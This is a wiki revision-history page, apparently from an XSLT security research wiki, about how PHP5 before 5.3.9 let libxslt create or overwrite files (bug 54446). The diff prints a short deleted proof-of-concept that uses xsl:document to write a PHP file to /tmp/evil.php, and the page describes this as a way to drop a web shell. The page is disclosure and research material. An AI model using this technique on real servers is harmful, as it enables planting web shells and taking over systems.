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Changes for page Application_PHP5

Last modified by Nicolas Gregoire on 2012/02/02 17:29
From version Icon 3.1 Icon
edited by Nicolas Gregoire
on 2012/01/13 16:28
Change comment: Upload new attachment create-file-via-libxslt.php
To version Icon 5.1 Icon
edited by Nicolas Gregoire
on 2012/01/13 16:34
Change comment: Deletion of attachment create-file-via-libxslt.php

Summary

Details

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5 -Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted using xsltSetSecurityPrefs(). It was then possible to create / overwrite files on the engine side, typically for dropping a PHP Web Shell (cf [[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]]).
5 +== Creating files ==
6 +
7 +Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted via xsltSetSecurityPrefs(). It was then possible to create / overwrite files on the engine side, typically for dropping a PHP Web Shell (cf [[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]]).
8 +
9 +
10 +The attached [[create-file-via-libxslt.php>>attach:create-file-via-libxslt.php]] PoC will drop a basic PHP script in /tmp/.
Icon create-file-via-libxslt.php
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1 -xwiki:XWiki.NicolasGregoire
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1 -601 bytes
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1 -<?php
2 -
3 -$sXml = '<empty/>';
4 -
5 -$sXsl = <<<EOT
6 -<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
7 -
8 - <xsl:template match="/">
9 - <xsl:document href="/tmp/evil.php" method="text">
10 - <xsl:text><![CDATA[<?php phpinfo() ?>]]></xsl:text>
11 - </xsl:document>
12 - </xsl:template>
13 -
14 -</xsl:stylesheet>
15 -EOT;
16 -
17 -# LOAD XML FILE
18 -$XML = new DOMDocument();
19 -$XML->loadXML( $sXml );
20 -
21 -# LOAD XSLT FILE
22 -$XSL = new DOMDocument();
23 -$XSL->loadXML( $sXsl );
24 -
25 -# START XSLT
26 -$xslt = new XSLTProcessor();
27 -$xslt->importStylesheet( $XSL );
28 -
29 -# TRASNFORM & PRINT
30 -print $xslt->transformToXML( $XML );
31 -
32 -?>
33 -